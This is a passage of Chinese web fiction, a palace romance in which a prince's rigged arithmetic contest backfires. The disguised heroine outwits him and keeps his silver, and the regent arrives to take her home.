睿王确实心虚，很快有谋士走到他身边嘀咕，“王爷，微臣就不信，咱们这么多朝臣赢不过一个花子，之前彩月楼比赛，题目简单，他当然可以胜出，今天我们出些难题，就不信他能赢。” 睿王立刻来了底气。 “对，咱们这么多人还比不过他。” “孙卿兆，”睿王挺直腰板，“本王再加一条，你输了给本王爬着离开京城。” 孙卿兆毫不犹豫的答应，“好，只要微臣输了，微臣就爬着离开京城，不过微臣也有个条件。” 睿王也是毫不犹豫：“你说。” 孙卿兆：“如果微臣侥幸赢了，还请睿王给端王下跪，并磕三个响头，且一边磕头一边喊着睿王输了。” “你——”睿王气个半死。 孙卿兆根本不怕。 如果不是王爷给臣子下跪大逆不道，他干脆让睿王给他跪下了。 睿王谋士劝道：“王爷，咱们是不会输的。” 睿王也觉得自己不会输，大不了关键时刻作弊。 就不信孙卿兆能发现。 两方达成协议，睿王让所有朝臣一起上。 包括楚衍诺。 楚衍诺可不想上，他是实打实的摄政王的人。 当年他父亲救了摄政王、端王和尚在襁褓的朝栎公主，还帮了皇上大忙，只要他不谋反，楚家永享荣华。 有什么必要给睿王冲锋陷阵。 睿王，他不能来往过密，太师一党就更不可能。 当年太师一家害死外公满门，他和太师、皇后是有血海深仇的。 按理楚家是皇上一族的恩人，远不止一个侯爵。 就是因为皇后压着，他们楚家才没有出头之日。 “王爷，微臣……” 睿王根本不给他机会说完。 楚衍晴都能获得上次大赛第三名，楚衍诺作为她的哥哥，打败孙卿兆还不是轻而易举。 “楚世子，本王的命令你敢违拗！” 楚衍诺自然是不敢的。 端王他敢得罪，因为端王是君子。 睿王是小人，只能供着。 “微臣参加就是。” 反正他不懂算学，参加也就是个凑数的。 接下来所有参赛选手各就各位。 孙卿兆提出异议，“题目可不能让睿王出吧，那微臣不如直接滚出京城。” 睿王恨不得掐死他，“你有人选？” 孙卿兆一时也想不到人选，“就由彩月楼的老板李……” “题目，我来出！” 二楼忽然传来一道清新靓丽的嗓音。 孙卿兆话没说完，一顿，不由得看向楼上。 竟然是寒兮站在楼上说话。 睿王刚才听李貔貅汇报，寒兮答应他作假的提议，还要了五十万两银子。 他已经命人往彩月楼里运了。 所以他很肯定，寒兮是自己人。 “原来是大周朝第一聪明人，”睿王对聪明人还是比较尊重的，尤其是他的人，两手抱拳隔空行了一礼。 “孙侍郎，由大周朝第一聪明人出题，你还有何话说。” 孙卿兆当然没话说了。 不过他对端王有话说。 避开睿王，低声道：“寒兮有危险，还请端王派人保护。” 端王急忙给身后的侍卫眼色。 那可是他嫂子。 满朝文武一个都不回朝堂，他二哥也不会拿他怎么样。 可如果嫂子受伤，当着他的面，二哥不跟他发火才怪。 “既然都没有异议，那就做好准备等着听题吧。”睿王一甩蟒袍坐到为首的椅子上。 唐兮暖摇着羽扇自二楼而下。 她刚一开口，楚衍诺就听出她的声音。 那可是他表妹，相处十几年的人，变成灰他都认得出来，何况女扮男装。 只不过一t时没找到声音是从哪里发出来。 直到睿王朝楼上拱手。 他顺着声音望过去，就见身穿淡青色圆领右衽窄袖衫袍的少年公子从楼上下来。 胸前宝相花盘金钩边，袖口卷云纹，头上同样配色的硬角幞头帽，腰带间红宝石和绿松相得益彰，还坠了荷包、香囊、玉佩等物。 其中玉佩最为醒目。 如果他没看错，分明是摄政王从不离身的那块。 此刻他自楼上下来，容貌清丽，羽扇纶巾，仿佛画本子里走出来的世家公子。 “表……”楚衍诺控制不住激动的心情，下意识就要赶上去相见。 忽然意识到她腰上的玉佩。 不知道表妹和摄政王什么关系。 摄政王和睿王水火不容，他是知道的。 如今她女扮男装，出现在这里，也不知道是福是祸，他还是等一会儿再相认的好。 楚衍诺都佩服自己，表妹一声不响的离开，他找了快两个月，现在还如此为她考虑，她怎么就一点都感觉不到呢！ 李貔貅飞快地准备好桌案，铺好纸张，连毛笔都沾好了墨，等寒兮一到便双手将毛笔递到面前。 “寒公子，请。” 唐兮暖也不客气，接过毛笔先调了调笔尖，随后看向睿王，“题目是出难一些的还是简单一些的？” 睿王担心太难的题目他那些废物做不出来。 他先给寒兮使个眼色，随后开口：“就难易适中的。” 他给的眼色是让寒兮出简单些，以他眼色为主。 可惜唐兮暖不会察言观色，没理解睿王的心思。 既然是难易适中的，她就从之前户部的救灾方案中选一道。 大笔一挥，俊秀飘逸的墨迹从白纸上显现出来，须臾之间，一道户部平时常处理的题目便出来了。 “这是第一题。” 她放下毛笔，让李貔貅挂到画板上。 睿王探着脖子看了一遍，不懂。 但他已经提示寒兮出简单题目，想来这些朝臣是懂的。 和钱粮有关，至少户部是懂的。 户部一半是太师的人，一半是他的人，这么简单的题目还不是手到擒来。 这种题目对孙卿兆来说，也就是入门级别，他毛笔一挥，很快写出过程和答案。 之后看向睿王：“微臣……答完了。” 再看除孙卿兆之外的满朝文武，一个个眉头紧蹙，竟有大半都没下去笔。 楚衍诺倒是会做，可他的心思都在表妹身上。 表妹怎么会跑出来出题，她是个傻子啊，能出什么题目。 真想上前把人带走。 待他看见表妹出的题目，心里越发复杂难捱。 这是北域十万流民的赈灾问题，她怎么会知道？ 难不成她是听摄政王命令来的，临时记住了户部的题目…… “咳咳……” 眼看着孙卿兆交卷，其他朝臣还没动笔，睿王急了，连着咳嗽好几声。 这才把楚衍诺拉回现实。 虽然一开始的户部救灾方案他没处理妥当，可经过摄政王请的高人指导，他事后又仔细琢磨一番，如今已经很轻松的应对。 提笔三两下写出答案。 睿王终于松了口气。 总算有人答出来。 否则第一题就丢人了。 除楚衍诺外，第一题睿王这边只有五位朝臣答出来。 现场十分惨烈。 睿王气得想骂人。 端王忍不住嘲讽道：“这人才啊，关键时刻以一当百，数量多有什么用，都是些臭鱼烂虾，有句话怎么说来着，对，一夫当关万夫莫开。 瞧不起孙侍郎，连一道钱粮问题都不会，还敢舔居朝堂，笑死人！” 睿王气得脸都紫了。 一群废物，平时拿他那么多好处，都进狗肚子了！ “第二题，简单一些。” 他就不信，这些废物还做不出来。 如果真做不出来，他干脆弃掉不用了。 唐兮暖回头朝紫苏招招手，悄声道：“你去盯着，五十万两银子一分都不能少，命人立刻运走，对了，分三批放到三个地方，就是那种睿王也要不走的地方。” 紫苏立刻命人办理。 王府一个面生的侍卫带了几十个身强体壮的大汉。 一接到银子立刻找地方存好。 别说睿王，就是天王老子来了，也要不走—— 作者有话说：楚衍诺：我找到表妹了！！！ 50-60 第51章 周川行在六部发了一顿火,之后进宫看望皇上。 还是老样子，醒过来的时候少，昏迷的时候多。 周川行今天烦躁,坐在床边絮絮叨叨和皇上说了好一会儿话。 当然，昏迷中的皇上一个字都没听进去。 皇后听说他来了，赶到寝殿和他见面。 “二弟,方便的话，这两天父亲会带小妹去王府赏花，还请二弟妥善招待。” 周川行一惯的面无表情，“皇嫂安排就是，二弟一切都听皇嫂的。” 皇后很满意他的表现，脸上的笑意越来越浓。 她把女儿推到周川行面前，“朝阳，你不是一直念叨着想二叔了么，怎么见到二叔又不敢说话了。” 只有五岁的小朝阳，平时天不怕地不怕,唯独害怕这个当了将近十年大将军的二叔。 被母后推了一下才来到周川行面前。 “二叔叔。” 皇上只有这一个女儿。 他们兄弟三人再加一个妹妹，也只有这一个后代。 周川行怎么可能不疼。 他俯身把小姑娘拎起来,尽量和颜悦色的开口：“二叔叔也想念朝阳了,跟二叔叔说说，最近都学了什么？” 小姑娘学的东西可多了,和小公主打架，给小太监使绊子,上树掏鸟，下河摸鱼，抓蛐蛐…… 整天把自己弄得脏兮兮。 今天来见二叔，是特意打扮过的。 安静、乖巧,粉里透红，人见人爱。 “这几天学了背诗，写字，做手工。” 这是皇后特意嘱咐她的。 周川行也不知道这么大的小姑娘都该学什么，听着还不错。 “朝阳真棒，比你小姑姑都棒。” 朝阳被夸奖，开心坏了，“二叔叔，那我这么乖，能不能去你的王府住几天？” 周川行没带过孩子，有些茫然的看向皇后。 皇后笑着将女儿接过来。 “你二叔叔忙，不能给你二叔叔添乱。” 朝阳有些失望，小脸很快垮了下去。 周川行伸手捏了捏她的脸蛋，“等二叔叔忙过这阵过来接你。” 朝阳高兴了，一高兴就容易手舞足蹈，暴露本性。 直到皇后一个威严的眼神扫过来她才变成乖巧的模样。 周川行回王府时走的后门。 因为正门绕远，他也没那么多讲究，哪边方便走哪边。 却不想门口竟然停了十几辆马车，有人一趟一趟往王府里运送东西。 “干什么呢？” “王爷，”为首的侍卫看见他如实回道，“有人让我们把这些东西送回来。” 周川行皱眉：“什么东西？” 竟然拉了十几车。 侍卫悄声道：“全是白银，这里只是一部分，还有二十车分别送去了两家钱庄。” 周川行更疑惑了：“哪来这么多银子？” 侍卫不清楚，“是紫苏命我们送回来的。” 周川行一下就想到了唐兮暖。 王府也没回，直接赶去彩月楼。 收到睿王提醒，第二题唐兮暖出的简单，不少人回答正确。 睿王心里不爽。 简单的和一般简单的题目孙卿兆都会，分不出胜负。 干脆让寒兮出一道超级超级超级难的题目，保证孙卿兆答不出来的。 他手下这么多虾兵蟹将，万一有那么一两个答出来的。 孙卿兆可就必须滚出朝堂了。 所以第三道题，唐兮暖出了一道天文历法相关的。 孙卿兆确实没答出来。 好在他学识渊博，答出一部分，只是结果没推算出来。 可睿王这边，包括楚衍诺在内，面前的答卷全都干干净净比脸还白，连滴墨水都没滴上。 端王从他们面前一一走过。 嘲讽的话都快说不过来了。 “一个个就这德行，还好意思不上朝，我大周朝竟然养了这么多废物，还好意思嫌弃人家，也不看看自己什么德行……” 被孙卿兆顶替的原吏部侍郎，现在的六品小官不服气，“懂算学能管理朝政还是上马安天下？我们大周朝国力强胜，可也不需要这种不入流的伎俩。” “算学不入流？”唐兮暖不愿意听这种话，“你的俸禄不需要算学吗？你家几口人需要吃多少米，买多少菜，穿多少衣服不需要算学吗？ 你家有多少铺子，多少亩地，多少收入，又有多少支出，不需要算学吗？ 这是往小了说，一个家庭都这么复杂，那朝廷呢？” 被顶替的六品小官还想分辨，可一时间竟然找不到反对的说辞。 楚衍诺没想两月没见，表妹竟然变得这如此t伶俐。 把一个朝廷六品官员都怼得无话可说。 他有心护着，只管往六品小官死穴上怼。 “李大人家里确实不需要算学，毕竟昨天有个小妾出逃，李夫人号称小妾抱着五千两银子跑了。” 很多人一时间没明白其中的意思。 唐兮暖解释道：“我们大周朝一两银子大约三十一克，五千两银子有三百多斤，一名成年男子只怕也带不走。” 还是抱着的。 唐兮暖一解释完，满大堂的人都笑开了。 孙卿兆适时说道：“不知道的，还以为李大人的小妾是什么大力士，我们大周朝又出奇人了。” 李六品脸上红一阵白一阵的。 楚世子他不敢得罪。 寒兮似乎和睿王关系匪浅，他也不敢得罪。 只能把火气都撒孙卿兆身上。 “你个臭叫花子，懂什么，见过五千两银子吗！” 孙卿兆确实没见过那么多。 “反正我力气小，抱不起来那么多。” 李六品还欲再说，被睿王一个冷刀子眼给吓回去了。 “最后一题全都没做出来，那就算平手，没有输赢。” 孙卿兆不忿，可让睿王给端王下跪，只怕也没那么容易。 此刻的睿王十分高兴。 寒兮站在他这边，让孙卿兆没答出来，接下来，他必会大获全胜。 “既然此次比赛平局，那这事就过去了，接下来，本王重开一局。 寒兮是上届比赛的冠军。 大周朝第一聪明人，谁能赢得过他，本王就推举他为尚书之首。” 听说尚书之首，谁不想挑战一下。 输给天下第一聪明人没什么可丢脸的。 可如果赢了…… 睿王话音一落，不知道多少人冲上舞台想要参加。 不过都被睿王的人赶回去了。 睿王这次组局为的是推出他那个五毒俱全，不学无术，大字都不识几个的亲舅舅。 德妃催促好几次，让他在朝中安排一个职位。 可他舅舅实在上不了台面，两位丞相那关都过不去。 如今他敢张罗的原因就是孙卿兆和姚麟输给寒兮都能做到四品、六品，他舅舅打败寒兮，做个正三品不为过吧。 到时候他振臂一呼，自然有人为他说项，他那个二哥只能吃了这个哑巴亏。 如果不是他舅舅才情太差，他何至于出一百万两银子。 不过他笃定寒兮没有那么大胃口，他敢给，寒兮敢收吗！ 也就见识一下五十万两长什么样，过后还得乖乖退给他。 他一大方给个三五万两，这事就算过去了。 睿王的舅舅，姚岳海刚被人从海棠苑拉过来。 昨天和几个姑娘玩得太晚，满身酒气现在还没散。 进了彩月楼还不怎么高兴，“你们怎么回事，比什么赛啊，就一个破尚书，还不是我外甥一句话的事。” 但凡姚岳海干点人事，睿王也不至于这么难做。 他怒不可遏地踹开姚岳海身边的两个小厮，忍着怒火道：“舅舅，就等你了。” 姚岳海眯着眼睛瞧着睿王，“大侄子啊，”发现大侄子要生气，舔着脸笑道，“舅舅这就来，这就来。” 他被睿王扶着做到参赛位置上。 左右两边都是睿王安排好帮他作弊的谋士。 唐兮暖所坐的位置和姚岳海隔着两个座位。 为了把比赛弄得更真一些，睿王还安排几个刚才做出过答案的官员。 他的计划是，比赛还分三轮。 第一轮题目简单所有人都答对。 第二轮稍难，只有姚岳海和寒兮答对。 第三轮便只有姚岳海答对了。 这么完美的计划，也就是他睿王能想的出来。 睿王忍不住沾沾自喜。 “比赛开始。” 题目都是睿王提前准备好的，可以说专门为姚岳海量身定制。 保证他能照着旁边谋士的答案抄过来。 最后一题答案只是一串数字。 只要姚岳海不傻，肯定能写上。 …… 孙卿兆不认识姚岳海，他刚来京城不久，只知道几大党羽的带头人。 看见姚岳海满身酒气，晃晃荡荡坐在选手位上，好奇道：“此人是……” 端王笑道：“德妃的亲弟弟，睿王的亲舅舅，这些年没少想办法，可惜他这个舅舅不争气啊，昨晚肯定又在海棠苑睡的，已经是那里的常客。” 孙卿兆无奈叹了口气，“难怪摄政王求贤若渴，如果朝政都由这些人把持，我大周朝危矣！” 端王自是心疼他二哥。 “希望今秋的乡试能顺利进行，多选拔出一些人才。” 前两轮比赛都如睿王安排那般，一切顺利。 到了第三轮，只剩下姚岳海和寒兮两人。 睿王感觉尚书之位已经在向他舅舅招手。 “经过两轮比赛，只剩下姚岳海寒兮两位选手。 由此可见，姚岳海和寒兮都是大周朝最聪明的人。 接下来，让我们看看，谁才是大周朝最最聪明的人！” 睿王将最后一道题的读题任务交给楚衍诺。 楚衍诺的心思一直在表妹身上。 他竟然不知道表妹懂算学。 这怎么可能，她就是一个连世俗都不懂的傻丫头啊！ 而且寒兮是怎么回事？ 上届比赛冠军，大周朝第一聪明人。 是他表妹！ 他到底错过了什么，他是被人打昏然后穿越了吗。 为什么表妹变成一副他完全陌生的样子。 经过他反复思考琢磨，楚衍诺得出一个结论。 表妹和睿王有猫腻。 刚才表妹答出那些题，并不一定是她真实的能力，多半和姚岳海一样，提前记住了答案。 不管怎么说，表妹都比姚岳海那个蠢货聪明一些。 记住这些答案并不足为奇。 他要看看表妹的真实能力。 大周朝第一次聪明人，到底是怎么回事！ 楚衍诺忽然撕了题目。 “这题不算，为了公平起见，我决定重新出一道题目。” 睿王：“……” 我感谢你八辈子祖宗！ 端王和孙卿兆两人笑得前仰后合。 大部分朝臣都了解姚岳海的德行，多少猜到一些实情。 这会全都惊得目瞪口呆。 还有极少一部分不清楚真相的朝臣，和大部分普通观众，他们只想看热闹。 才不管楚世子撕不撕题目。 “楚世子，你怎么撕了题目！”睿王质问的口气。 楚衍诺恭敬道：“睿王一向公平公正，提前准备好的题目，难免有人怀疑，不如现场出题，这样才更有说服力。” 睿王一张脸都黑得不成样子。 他倒是想公平公正，他舅舅也得有那个能力。 好在他在舅舅身边安排两个谋士帮他作弊。 再给寒兮使个眼色，不管出什么题目都让她答不出来。 哪怕舅舅抄都抄不明白，两个人都答不出来，至少也是个平手。 可惜啊，唐兮暖不会察言观色。 事情发生重大变故，她还以为睿王让她尽管作答呢—— 作者有话说：睿王：你看我脸色行事。 唐兮暖：不好意思，不会察言观色！！！ 第52章 楚衍诺忽然撕了题目,可把睿王气坏了。 他赶过去将撕碎的试题捡起来拼接，也不知道谁手快抢走了两块，怎么也拼接不全。 楚衍诺动作倒是快,说出题，立刻铺开纸张，洋洋洒洒写出一整页。 是一道户部常碰到的经典税银问题。 他贴到画板上并朗声读出来。 姚岳海连字都不识几个,能听懂楚衍诺嘴里每个字的意思，可放到一起什么意思，他哪知道。 关键时刻，他还抱怨上了。 “早知道当个尚书这么难，我废这个劲干什么。” 海棠苑那么多姑娘，他还没宠幸过来。 睿王快被这个舅舅气死了。 舅舅这边不争气，只能寄希望于寒兮。 他频频给寒兮使眼色，就差把寒兮手里的笔抢走了。 可惜寒兮弄不明白他什么意思。 只管将答案写到纸上。 她甚至细心的写上步骤。 楚衍诺怀疑表妹被人换了芯子。 这道题目虽然是户部常见问题，可他研究好几天才弄懂。 怎么他才读完题，表妹就写上了答案。 不会是她根本不懂,胡乱写的吧。 原来在侯府，所有人都哄着她,不管她做什么,大家只有夸奖的。 现在表妹出现在彩月楼，而端王也在这里,她身上还带着摄政王的玉佩，肯定是端王帮她讨的。 这么来看,端王对她还不错。 难怪她乐不思蜀，连侯府都不回了。 所以她就以为今天胡乱写点什么，大家看在端王的面子都会判定她是正确的。 什么大周第一聪明人，肯定也是端王帮她作弊得来的。 小妹明明第四名,不也被端王一言堂判了第三名吗。 楚衍诺认定唐兮暖乱写，不过他也没想当着众人的面拆穿，毕竟是他从小宠到大的表妹。 只不过以后再也不许她胡闹罢了。 被人发现她作弊，还自封大周朝最聪明的人，有几条命面对众人的质疑！ 比楚衍诺t还希望寒兮胡乱写的还有睿王。 眼看着他把答案写到纸上，大步流星走过去，打算先宣布他的答案不对，再撕成碎片，谁敢质疑他的判断。 可惜端王比他先一步拿到唐兮暖的答案。 转身交给孙卿兆。 “孙侍郎，你看看这答案对还是不对？” 孙卿兆早已经在心里算好，和寒兮的一模一样。 “王爷，寒公子所答是对的。” 楚衍诺不信，他一把抢过答案，和他在心里算出来的答案竟然一样。 这怎么可能！ 题目是他临时出的，端王不可能猜到再帮她作弊。 她真懂算学？ “这这这……” 六部之首失之交臂，睿王暴躁了。 他不好埋怨舅舅，先吩咐手下将五十万两银子抬走，又命人把寒兮抓起来。 “来人，这个寒兮作假，抓起来带走，本王要仔细审问。” 孙卿兆就知道睿王没憋好心，“睿王，寒公子做什么假了，没有证据就是王爷也不能胡乱污蔑。” 睿王根本没把他放在眼里，“就因为他作弊的手法太过隐蔽，你们这些凡夫俗子看不出来，本王才要带回去慢慢审问，让你们心服口服。” “王爷……” 孙卿兆一个没有根基的四品小官，哪里能刚的过睿王。 不过他已经做好准备，就是拼了他这条命，也要护寒兮周全。 端王自然不会光看热闹。 “老四，你别太过分，这寒兮从第一次参加比赛，我就在场，他有没有作弊，我比你清楚，你不要自己舅舅不争气，就乱咬人。” 他也生气了，“来人，谁敢伤寒兮一根头发，就是跟本王过不去。” 楚衍诺亲眼看见端王护着表妹，越发确定这些日子表妹一直跟端王在一起。 他肯定不会加入两个王爷的争吵，打算先带表妹离开。 却不想他转身去找表妹，哪里还有表妹的人影。 “寒兮——” 孙卿兆过来质问睿王，正好挡住睿王的视线，唐兮暖早借机拉着小倩逃开了。 况且还有紫苏和连翘明着保护。 李貔貅暗中保护，打开后门，四个人在拥挤的人群里一路畅通无阻，很快来到彩月楼后门。 “寒公子，这边走。” 李貔貅得意之时还不忘邀功，“他们肯定想不到您会走后门，这里出去拐过弯就能回王府了……” 他话没说完，忽然看见摄政王，吓得一怔，随即慌忙跪地，“小民给王爷请安。” 周川行面无表情的瞥他一眼，“起来说话。” 李貔貅哆哆嗦嗦地起身，很难忽略他曾经用屁股怼过当今摄政王。 唐兮暖跟着李貔貅一路走到后门，屋里有些昏暗，大门打开，阳光铺漫进来，她下意识用手遮了遮阳光，然后周川行英姿俊朗的身影便出现在视野里。 唐兮暖开心坏了，踩着无比欢快的步子跑到周川行面前，毫不犹豫扑进他怀里。 “二郎，你怎么来了？” 周川行顺势接住她，揉了揉她的小脑袋，“我再不来，你都要把天捅个窟窿了。” 敢讹睿王的银子，小姑娘什么时候这么大胆了！ 马车停在不远处，周川行拉着小姑娘上车，同时吩咐陶罐，“看着点，别闹出事。” 陶罐带着两千禁军来的，已经把彩月楼前前后后围个水泄不通。 睿王肯定要在这里休息上一阵子了。 马车出发，唐兮暖撩开帘子，发现房顶上很多黑衣人打架。 “二郎，二郎，那个是百合。” 周川行也注意到了，他把帘子落下，训斥的口吻道：“以后不许私自做什么决定。” 唐兮暖朝他呲着小白牙，讨好一笑，“他那么坏，银子都不知道怎么来的，我不要，他肯定留着做更多坏事。” 周川行能说什么，颇有些无奈地叹了口气。 “你呀，胆子也太大了。” 李貔貅眼看着寒兮扑进摄政王怀里，两个人行为举止那么亲密，已经到了不背外人的程度。 原来王爷竟然真的喜欢男人。 睿王一心要抓到寒兮，可人没抓到，出去运送白银的下属还告诉他银子都没了。 气得他一口气险些没顺上来。 偏偏端王拦着，他分身乏术。 “来人，来人……” 睿王的侍卫都被端王的人缠住，只能仰头冲楼上喊他的暗卫。 往常他喊完三个数内，暗卫必然出现。 今天喊完好一会儿连个人影都没见。 手下忽然发现对面房顶好多黑衣人打斗。 仿佛霜打的茄子一般，提醒睿王往对面看：“他们来不了了。” 睿王气得大骂：“一群废物！” 端王最喜欢看四弟吃瘪了。 “老四，好算计。” 他忍不住大笑，“真以为赢了寒兮就能做尚书了，那也得看舅老爷本身是不是那块料。” 他拍拍睿王的肩膀，“怎么说咱们也是亲兄弟，三哥就指给你一条明路，姚大人啊生性风流，海棠苑住的好好的，非把人揪出来，闹这么大笑话，还是把人送过去吧，别辜负了那么多漂亮姑娘。” 刚才寒兮一跑，有那眼神好腿脚麻利的朝臣已经溜了。 没走的此刻正不知如何是好，听了端王的话想笑又不敢笑，憋得着实辛苦。 五十万两银子不翼而飞，舅舅给他丢个大人。 “楚世子呢？”睿王找不到寒兮，想把火发到楚世子身上，谁让他临时换题。 楚衍诺早跑没影了。 不过他也没找到表妹。 明明端王还在彩月楼，表妹却不见了踪影。 难不成是他出现幻觉了？ “孙侍郎，”端王忽然拉起脸命令道，“今天出现在彩月楼里的大朝臣有一个算一个，全都给本王记录下来，领着朝廷的俸禄，一点正事不干，真不把我们放在眼里。” 这些朝臣可都是听睿王的命令来的，此刻来找睿王求救。 睿王吃了一肚子瘪还有火没出撒。 不耐烦道：“都是些废物，孙卿兆赢不过，寒兮也赢不过，本王要你干什么！” 他忽然发现，手下在精不在多，弄这么多专吃饭不干活的废物，打不过一个寒兮就算了，竟然还打不过孙卿兆。 如果他能随便杀人，非把这些废物全都扔去乱坟岗。 被嫌弃废物的朝臣，有一部分是过来凑热闹的，还有一部分真心投靠睿王。 如今被罚着银子，还要接受摄政王的雷霆怒火。 睿王不但不感谢他们还嫌弃他们废物。 以前怎么没觉得睿王这么不近人情，一腔真心都喂了狗！ 这彩月楼乌烟瘴气，睿王一刻都不想待了。 他举步要走，却被陶罐带人拦住去路。 “睿王爷，摄政王有令，今天没去上值的大臣，全要清查，摄政王怀疑有人组织，命卑职调查清楚，还请睿王爷配合。” 他身后是数不清的禁军，睿王恨得咬牙切齿却只能打落牙吞进肚子里。 “好，本王不走，那端王也出现在这里，他就没有嫌疑？” 陶罐毫不犹豫道：“端王也不能走。” 端王本来也没打算走，“四弟，有三哥陪你呢，要不咱们下会棋？” …… 陶罐带人包围彩月楼，一直围了两个时辰。 睿王重见天日，第一件事便是追问银子的下落。 “王爷，银子一部分进了京城两大钱庄，属下带人去要，人家根本不给面子，还有一部分进了摄政王府，属下就更没办法了。” 京城两大钱庄，一家是世家大族开的。 一家亲王开的。 在大周朝盘根错节百年不止，叛军打进京城，这两大钱庄都毫发无损。 睿王根本得罪不起。 至于摄政王…… 他好像也得罪不起。 所以五十万两银子就这么没了。 没了！！！ 唐兮暖回去的路上跟周川行邀功，“二郎，我是不是很聪明很聪明？” 睿王无法无天早该整治了，五十万两银子对他来说不痛不痛，但足够让他难受一阵子了。 只不过小姑娘胆子也太大了。 “你呀，我那个四弟睚眦必报，你骗他在前又吞他的银子，小心他报复。” 唐兮暖才不怕他报复。 她把大铁疙瘩拿出来，瞄着外边的大柳树，“敢找我报复，我就用这个射他胸口。” 周川行把她的大铁疙瘩收起来，“小心伤到。” 马车走正门回府。 魏公公老早出来迎接。 待周川行跳下马车，提着小心说道：“王爷，魏国公的姨娘跪了快两个时辰了，求您放了魏小公子。” 魏敏昭进大牢也有几天了。 周川行险些把这人忘了：“你告诉她，每多跪一炷香就抽她儿子二十鞭子，敢跪就试试。” 魏公公将摄政王的命令转达给魏敏昭生母。 魏母心疼儿子，又不敢忤逆王爷，担心儿子受更多的苦，一边哭着一边起身。 可怜天下父母心，魏公公念着妇人t疼爱儿子的心情，提醒道：“魏公子触怒王爷，只把人关起来已经手下留情，这事除非魏国公亲自来求，否则谁也救不了魏公子。” 魏母难过道：“我已经求过老爷了，他不肯来，可怜敏昭，这可怎么好。” 魏公公爱莫能助。 魏母实在没办法，现在能想到的也只有女儿。 她稍一犹豫，赶去武安侯府找女儿帮忙—— 作者有话说：这章百合暗卫上大分。 楚衍诺撕考题上大分。 周川行来得那么及时也上大分。 第53章 魏敏娴不是魏国公嫡女,而是魏国公一个小妾所生。 在对待儿女方面，魏国公还算一视同仁，并没有因为嫡庶区别对待。 不过他这人自负有兵仙、将相之才,整日思虑自己空有一腔抱负，却怀才不遇。 今天被关只是他一个庶子，就算是世子,他也绝不会向摄政王低头。 当年他的兵权就是被摄政王剿走，一个乳臭未干的黄毛小子，仗着运气好才打了几年胜仗，换成他，这战事早好几年就平息了。 他看不上摄政王，连带着阖府对摄政王都有意见。 魏敏昭因此才会拒绝去禁军。 又言语无状冲撞摄政王。 魏母很快找到女儿，一边哭一边把事情说清楚。 “你五哥被摄政王关进大牢，都三天了，因为冲撞摄政王的男宠，听说那牢房周围全都遮上黑布一丝光亮都不能透进去,一天只给吃一顿饭，任何人都不能和他说话…… 这不是要把人关成傻子吗,敏娴啊,你快帮娘想想办法，救救你哥啊。 娘可就你五哥一个儿子,没了他，娘可怎么活……” 到底是一母同胞,魏敏娴怎么可能不心疼哥哥。 “我爹呢？我爹知道吗？” 魏母哭诉道：“你爹他当然知道，可他拉不下脸，说什么都不肯去，否则我也不会跑去王府跪求,王府里的公公跟我说，只有你爹出面才行，可你爹不肯啊。” 魏敏娴蹙眉沉思片刻，“我爹是不可能为了五哥求摄政王的……” “那怎么办？”魏母急坏了，抓着女儿的手不肯松开。 魏敏娴倒也不是没主意，“娘，你先回去，我救出五哥会给你去信。” 魏母不放心，可她一个后宅妇道人家哪有什么办法。 “敏娴，那你快去，娘回去等你消息。” 送魏母离开后，魏敏娴急急忙忙赶到楚衍晴所住的宅院。 楚衍晴已经被楚衍诺关起来五天了。 这五天，她寸步未离自己所住的小院。 除了有人按时送来吃食，她没见过府里任何人。 看到魏敏娴过来，还以为太阳打西边出来了。 “吆，嫂子不在自己屋子等着我哥回来，怎么这么有闲情逸致，来我这里了。” 她一直以为魏敏娴很聪明，不该把全部心思花在一个男人身上。 大哥为找表姐，整个京城都不知道翻过来多少遍。 魏敏娴不劝阻，不生气，反倒回娘家搬人帮着一起寻找。 天底下竟有如此大度的女子，可真令人开眼。 魏敏娴知道楚衍晴对她有意见。 可这个时候不是吵架的时候。 “小妹，我今天来找你是想请你帮忙的。” 楚衍晴看到她眼角含泪，确实像有急事的样子，“如果跟我哥有关，我可帮不上忙，毕竟，我连自己的院子都出不去。” 魏敏娴只管挑重点说，“我哥被摄政王关起来了，还求小妹帮忙救他出来。” 楚衍晴皱眉：“魏国公要身份有身份，要地位有地位，这种事哪轮得到我。” 魏敏娴为难道：“我爹是不可能去求王爷的。” 这话就好笑了，楚衍晴笑道，“我去求王爷能好使？” 魏敏娴：“你和朝栎公主关系好，只要朝栎肯帮忙，我哥肯定能出来，毕竟摄政王就这一个妹妹。” 怎么说也是自己嫂子，楚衍晴嫌弃归嫌弃，可关键时刻还是不能袖手旁观。 正好她被关好几天也得出去透口气了。 “敢问五公子是怎么得罪王爷的？” 魏敏娴叹了口气：“听说是惹了王爷的男宠。” “男宠？”楚衍晴忽然想起表姐被摄政王拉着手离开八宝斋的情形。 所谓的男宠，多半是表姐了。 这个魏敏昭还真是混蛋，和大哥搅在一起就算了，还敢得罪表姐。 真该多关几天。 “嫂子，可惜我哥禁止我出门，我实在是有心无力。” 魏敏娴这点底气还是有的：“我送你出去。” 两人往院外走的时候，果然有婢女过来阻拦。 魏敏娴端出当家主母的气势：“怎么，我带小妹出去转转还不行？” 婢女为难道：“世子爷不许小姐出门。” 魏敏娴生气了：“你们怕世子爷就不怕我这个世子夫人是吗？他打得你们，我打不得你们？给我滚开！” 怎么也是将门女儿，真端出架势，有几个下人不怕的。 只能眼睁睁看着小姐离开。 唐兮暖和周川行回到王府，知道他还有政事处理乖乖巧巧的准备回后宅。 临走时，周川行拉住她，“这五十万两银子，全部运往北域。” 唐兮暖一下便想到了，二郎要把这些银子全部交给他哥哥。 “二郎，你真好。” 要知道银子全给她哥哥，她就应该把一百万两全部弄到手。 周川行看她蹙眉，猜到她在想什么坏事，敲敲她的小脑袋，“不许再动这种心思。” 唐兮暖冲着他呲出两排小白牙，“知道了。” 也不知道哥哥在北域顺不顺利，她好想念哥哥。 “二郎，我能不能写封信？” 周川行毫不犹豫道：“不行。” 看见小姑娘难过，到底做出退步，“可以画一幅画，不要留下任何字。” “谢谢二郎，你真是太好了。” 她蹦蹦跶跶的回后宅，打算画一副简单的画。 哥哥肯定也在想她，见到了她的画就知道她过得很好了。 周川行忙了将近一个时辰，朝栎公主带着楚衍晴和魏敏娴上门。 看在小妹的面子，魏敏昭又没犯什么大罪，周川行自然不会再关下去。 他将令牌交给朝栎，“你去把人放出来吧。” 朝栎冲魏敏娴眨眨眼。 随后真心实意的感谢周川行，“二哥，谢谢你。” 周川行就这一个妹妹，当然是有求必应。 不耐却有些宠溺的摆摆手：“去吧去吧。” 朝栎拉上楚衍晴，打算带她一起去大牢。 毕竟是楚衍晴求得她来救人。 